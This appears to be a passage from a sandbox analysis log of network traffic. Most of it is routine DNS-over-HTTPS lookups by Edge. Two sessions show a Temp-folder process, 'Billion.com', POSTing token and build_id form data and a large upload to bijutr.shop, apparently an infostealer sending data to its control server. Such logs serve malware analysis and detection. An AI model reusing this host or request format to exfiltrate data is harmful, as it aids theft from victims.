2024-12-24 18:28:27 UTC	1390	IN	Data Raw: 0b c5 44 73 d4 f2 87 13 fa f8 51 4e 97 0f d5 84 e9 74 fa 59 da 7c bf e3 19 63 e7 07 e3 a7 9c f0 cd e3 fc 08 b5 3a ce 6e 1e 74 71 58 2e 86 7b e3 3e 33 82 51 35 c1 d9 f3 e4 51 51 26 64 2c af 85 36 8b 9c 7b 7a b0 77 c8 75 fa 03 ca fd a0 c3 ce 9a 6e be f5 7a 7b 67 77 ef cd db fd 77 ef 0f 0e 8f 8e 3f 7c 3c 39 fd f4 f9 cb d7 6f df 7f 30 cf 87 a1 c4 49 7a 7e 91 75 7b fd c1 af e1 68 3c b9 bc ba be f9 5d 6f ac 3d 5b 7f fe e2 ef 97 af f2 63 f2 15 f4 d6 9e 55 aa 4f dd 8a 03 ff c2 3f ab 3f 5d fa b7 46 ff 56 3a 94 2b 20 dc 78 de 0a 95 8b c3 47 91 c8 67 63 2b 40 91 24 6f ca 6e 7d 87 bd d2 71 e7 b6 91 dc ac b1 6c 22 71 23 d8 4d ad 1f 0c cf f9 69 73 e6 2f 50 b6 99 79 ee 77 4a 8a 21 24 4f 4b 33 1e c8 1d fb f4 19 74 19 80 e6 f6 62 bd 83 59 19 a8 db d0 e5 f1 d2 79 f6 89 b5 Data Ascii: DsQNtY\|c:ntqX.{>3Q5QQ&d,6{zwunz{gww?\|<9o0Iz~u{h<]o=[cUO??]FV:+ xGgc+@$on}ql"q#Mis/PywJ!$OK3tbYy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49968	162.159.61.3	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-24 18:28:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-24 18:28:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 24 Dec 2024 18:28:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f72a6bcbac64213-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 18:28:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f5 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49969	162.159.61.3	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-24 18:28:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-24 18:28:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 24 Dec 2024 18:28:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f72a6bcbd56191e-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 18:28:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f1 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49972	172.64.41.3	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-24 18:28:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-24 18:28:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 24 Dec 2024 18:28:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f72a6bcba860f6b-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 18:28:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 24 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom$()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49976	162.159.61.3	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-24 18:28:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-24 18:28:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 24 Dec 2024 18:28:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f72a6bd4c9e159b-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 18:28:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0c 00 04 8e fa 50 23 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomP#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49987	162.159.61.3	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-24 18:28:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-24 18:28:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 24 Dec 2024 18:28:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f72a6bdc83e7d1c-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 18:28:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 16 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49992	172.64.41.3	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-24 18:28:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-24 18:28:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 24 Dec 2024 18:28:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f72a6be08e10f41-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 18:28:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 26 00 04 8e fa 41 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom&A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49990	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:28 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HVAI58YMYMYU379R9HDB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 3165 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:28:28 UTC	3165	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 56 41 49 35 38 59 4d 59 4d 59 55 33 37 39 52 39 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 48 56 41 49 35 38 59 4d 59 4d 59 55 33 37 39 52 39 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 48 56 41 49 35 38 59 4d 59 4d 59 55 33 37 39 52 39 48 44 42 0d 0a 43 6f 6e 74 Data Ascii: ------HVAI58YMYMYU379R9HDBContent-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------HVAI58YMYMYU379R9HDBContent-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------HVAI58YMYMYU379R9HDBCont
2024-12-24 18:28:29 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:28:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:28:29 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49996	162.159.61.3	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-24 18:28:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-24 18:28:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 24 Dec 2024 18:28:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f72a6c64e7b0f90-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 18:28:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f1 00 04 8e fa 41 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49997	162.159.61.3	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-24 18:28:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-24 18:28:30 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 24 Dec 2024 18:28:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f72a6c6f9365e64-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 18:28:30 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 27 00 04 8e fa 50 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom'Pc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49995	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:29 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----NGVAAIE3W4EU37YMYCB1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 207993 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:28:29 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4e 47 56 41 41 49 45 33 57 34 45 55 33 37 59 4d 59 43 42 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 4e 47 56 41 41 49 45 33 57 34 45 55 33 37 59 4d 59 43 42 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 4e 47 56 41 41 49 45 33 57 34 45 55 33 37 59 4d 59 43 42 31 0d 0a 43 6f 6e 74 Data Ascii: ------NGVAAIE3W4EU37YMYCB1Content-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------NGVAAIE3W4EU37YMYCB1Content-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------NGVAAIE3W4EU37YMYCB1Cont
2024-12-24 18:28:29 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:29 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
